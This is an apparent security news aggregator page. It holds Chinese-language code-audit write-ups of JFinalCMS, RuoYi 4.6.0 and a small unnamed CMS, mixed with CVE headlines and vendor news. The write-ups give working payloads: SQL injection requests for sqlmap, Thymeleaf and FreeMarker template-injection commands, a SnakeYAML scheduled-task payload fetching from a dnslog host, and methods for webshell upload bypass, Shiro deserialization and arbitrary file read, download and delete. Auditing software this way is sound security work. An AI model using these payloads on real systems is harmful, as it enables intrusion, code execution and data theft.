Aggregator
CVE-2014-2715 | VideoWhisper 7.x-1.0/7.x-1.1/7.x-1.3/7.x-1.x logout.tpl.php message cross site scripting (ID 12943 / XFDB-92777)
CVE-2014-2778 | Microsoft Word 2007 Embedded Font memory corruption (MS14-034 / Nessus ID 74426)
JFinalcms代码审计
JFinalcms代码审计
JFinalCms是开源免费的JAVA企业网站开发建设管理系统,极速开发,动态添加字段,自定义标签,动态创建数据库表并crud数据,数据库备份、还原,动态添加站点(多站点功能),一键生成模板代码。
环境布置:IDEA打开项目,等待maven加载好。
使用phpstudy集成的mysql5.7数据库即可,导入JFinalCMS.sql数据库。
修改pom文件:
使用local9.0.90TOMCAT,JDK环境1.8。
运行TOMCAT,打开后台:
http://localhost:8081/cms_war_exploded/
反射xss:
搜索/admin/login定位到代码块:
由上可见,通过getPara获取账号密码后再通过render渲染到前端页面:
再分析前端代码构造xss进行闭合:
存储xss:
前台存在留言功能,留言会被管理员审核:
登录后台,点击扩展管理,留言信息:
原理同上。
Sql注入漏洞(1):
该CMS存在很多处sql注入漏洞,大多数都是以+直接拼接sql注入语句造成,可以全局搜索+号寻找注入点。
找到以上代码块,可以直接看到title参数通过+直接拼接进入sql语句执行,于是我们继续找前端是调用的什么接口,并看看是否在接受参数时进行了过滤。
搜索findPage参数:
可以看到Contentcontroller层中存在title参数,点进去,定位到具体代码块:
可以看到调用了getPara方法获取传入的title参数,继续跟进getPara方法:
并未重写该方法,只是简单获取参数,未进行任何过滤,回到原来的controller层,向上翻,找到接口调用,数据包如下:
POST /cms_war/admin/content/data HTTP/1.1Host: localhost:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0)
Gecko/20100101 Firefox/130.0
Accept: text/html, \*/\*; q=0.01
Accept-Language:
zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 47
Origin: http://localhost:8081
Connection: keep-alive
Referer: http://localhost:8081/cms_war/admin/content
Cookie: JSESSIONID=EF8BB53892173B8A4577EFC32D0215BA;
listQuery=categoryId%3D&title%3D&sorts%3D&pageNumber%3D1
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
categoryId=&title=%E7%BD%91&sorts=&pageNumber=1
将localhost替换为物理机IP放入sqlmap:
证明存在sql注入漏洞,其对应前端功能如下:
Sql注入漏洞(2):
前台搜索框处也存在sql注入漏洞,只不过此处的调用过程较难找到。
如上图搜索关键字search定位到代码块:
仔细分析如上代码,我无法追踪keyword的具体调用。
以上代码是通过setAttr方法直接存储到当前请求的属性当中。我对keyword处打断点调试也未理清楚它后续是如何调用的。
于是再换一种思路,直接全局搜索keyword:
定位到具体代码,但无法确定是否是调用的此处findPage代码来构造sql。
搜索findPage也没有明确思路。
于是改变思路,由于keyword关键字最终是通过模板template渲染调用。
于是在template处挨个点进去找类似功能代码:
最终定位到代码块:
根据注释明确此处代码是根据不同关键词进行搜索,包含关键词keyword,继续查看keyword调用链:
确定是通过调用findPage,传入keyword参数来调用数据:
用sqlmap验证keyword参数:
任意文件读取:
翻找controller层代码,找到文件下载代码块:
可见未对传入的fileKey参数进行过滤,直接拼接进行文件读取。
(且我在翻找filter过滤器后,发现似乎 并未对该路径进行权限校验,可进行未授权调用接口)
美创科技完成新一轮融资
《大咖访谈》|格尔软件总经理 叶枫
美创科技完成新一轮融资
《大咖访谈》|格尔软件总经理 叶枫
若依 RuoYi4.6.0 代码审计
若依 RuoYi4.6.0 代码审计
环境布置:
到官网下载源码:https://github.com/yangzongzhuan/RuoYi
采用phpstudy集成数据库,5.7版本。JDK1.8。
IDEA打开项目,等待自动加载,修改application-druid.yml配置文件:数据库名,账号密码,连接数据库,修改application.yml中的端口,避免与80端口冲突。
导入:quartz.sql与ry_20201214.sql文件。
运行RuoYiApplication文件。
访问后台:http://localhost:25001/login
Sql注入漏洞:
由于该项目采用了mybatis开发,常见的找sql注入的方法就是全局搜索${
定位到可疑参数:
根据id值selectRoleList全局搜索,从xml定位到dao层:
右键单击,找该接口的使用,在使用处发现selectRoleList方法,全局搜索该方法,定位controller层查看接口与传参:
如下,定位到controller层:
分析代码:首先以@RequiresPermissions注解表明接口访问权限,再以@PostMapping注解表明接收接口,并且以@ResponseBody注解表明回将返回值写入http响应。
此方法会接收一个SysRole类型的role值,并且将接受的role值以selectRoleList方法处理后返回给list,最后返回给http响应。
于是我们现在需要分析
1:role对象在接收它的参数时是否有过滤,
2:selectRoleList方法在处理role接收后的值是否有过滤。
跟进SysRole类,发现无过滤:
跟进selectRoleList方法,发现无过滤:
于是确定原dataScope参数存在sql注入,到前端功能找对应数据包。
发现不存在dataScope参数,手动添加:
将localhost换成主机IP,放入sqlmap验证
Shiro反序列化:
首先查看项目pom文件,发现shiro版本为1.7.0:
全局搜索cipherKey,定位到密钥值:
由此结合shiro反序列化利用工具利用。
Shiro未授权访问:
查看shiro配置文件ShiroConfig.java,anon为匿名拦截器,不需要登录就能访问。authc为登录拦截器,需要登录认证才能访问。
Thymeleaf模板注入:
本框架采用了 Thymeleaf 模板,全局搜索::
根据Mapping构造路径,发送poc
fragment=__*%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__::.x
计划任务RCE:
如图添加计划任务
将调用目标字符修改如下:
org.yaml.snakeyaml.Yaml.load(\'!!javax.script.ScriptEngineManager\[!!java.net.URLClassLoader \[\[!!java.net.URL
\[\"http://w2h0ib.dnslog.cn\"\]\]\]\]\')
调用执行:
dnslog出现响应:
任意文件下载漏洞:
继续如上创建定时任务:
ruoYiConfig.setProfile(\'/home/clown/Project/RuoYi-v4.6.0/ruoyi-admin/src/main/resources/application.yml\')执行后访问如下路径实现文件下载:
/common/download/resource?resource=.zip
跟踪下载路径定位代码:
该处代码先接收resource的值,再将该值放入checkAllowDownload方法里面校验后,进入下载文件的代码调用。
于是跟进checkAllowDownload方法:
发现该方法主要做了两件事:
1:禁止掉resource中的目录穿越../
2:以白名单形式检查文件下载规则
这里主要跟进一下2的代码:
取点后缀:
再以点后缀进行白名单匹配:
如果在原controller层if判断为假,进入下载文件代码流程:
至此可发现下载文件的路径不可控,且类型存在白名单限制!
此时我们继续跟进本地资源路径的代码:
我们可以发现本地资源路径是通过getProfile进行获取,且该RuoYiConfig类存在setProfile方法,由此可知,可以通过计划任务调用该类的setProfile方法设置好路径,直接绕过了前面的if过滤:
之后即可调用/common/download/resource接口任意下载文件。
CVE-2018-20434 | LibreNMS 1.46 addhost.inc.php $_POST['community'] os command injection (ID 153188 / EDB-46970)
Apple vs Камала Харрис: кто охотится за смартфонами команды вице-президента
Stairwell Core boosts threat intelligence for security teams
Stairwell announces Stairwell Core, which enables organizations to privately collect, store, and continuously reassess executable files so they can confidently determine if malware has affected their systems. Core offers customers an accessible entry point into the Stairwell ecosystem, giving users high-confidence results that reduce noise for both faster decision-making and response time. With their inherent privacy risks, gaps in continuous threat visibility, costliness, and operational inefficiencies, public malware analysis tools are falling behind today’s more … More →
The post Stairwell Core boosts threat intelligence for security teams appeared first on Help Net Security.
4 Ways To Unleash Speed and Efficiency in the SOC
With the right tools, your SOC will soon run just like a world-class race car pit crew to deliver on the mission that matters the most: Stopping breaches.
The post 4 Ways To Unleash Speed and Efficiency in the SOC appeared first on Security Boulevard.
4 Ways To Unleash Speed and Efficiency in the SOC
某小型CMS漏洞复现审计
某小型CMS漏洞复现审计
登陆后台,点击页面删除按钮,抓包:
rid参数存在sql注入,放入sqlmap检测成功:
代码分析:Ctrl+Shift+F检索路由:
定位具体代码,为删除功能:
发现deleteByIds调用了传参rid,跟进:
发现进入Dao层,此处依旧调用的deleteByIds,于是找ICommonDao接口实现类:
定位到该类,发现以ids参数接受原先用户传入的rid参数,并在new一个sql对象后,直接将ids参数进行拼接,并通过原生jdbc执行返回结果。
内容管理-文件管理-themes-flatweb-about.html,选择编辑,插入payload:
<#assignvalue="freemarker.template.utility.Execute"?new()>${value("calc.exe")}
访问首页,点击关与我们:
执行命令,弹出计算机:
代码分析:配置文件存在freemark
文件上传 漏洞复现:这个CMS感觉上传文件路径不是很好找,所以上传时先找个合适的目录再点击上传文件。
文件管理处点击admin进入目录:
再点击文件上传:
通过上传jsp马,不过需要以jspx或者jspf后缀绕过上传。
代码分析:上传时抓包,根据路由全局搜索:
定位到具体代码段:
用filePath参数接受path参数与file参数拼接,再从filePth参数中取出文件名赋值给fname参数。
跟进getSuffix:
发现只是以简单点来获取后缀。
检测是否为jsp文件后,如果不为则进入为空判断,并以FileOutputStream与write直接上传写入。
任意文件删除 漏洞复现:上传jsp马后,点击右方删除文件,抓包。
将下方数据包改为admin上级目录,删除我先前上传但没找到路径的test.jspx文件,删除成功:
代码分析:根据数据包在IDEA全局搜索,定位到delete代码段:
该方法接收三个参数:path、name 和 data,这些参数通过 \@RequestParam注解从请求中提取,并进行简单拼接,赋值给file对象,此时file对象代表实际的文件名称。
跟进delete方法:
发现对传入的path参数进行了检查,继续跟进:
发现仅仅采用java自带的类java.security.AccessController下的checkPermission(Permissionperm)静态方法校验权限。
如果权限满足便直接通过fs.delete()方法删除,造成任意文件删除漏洞。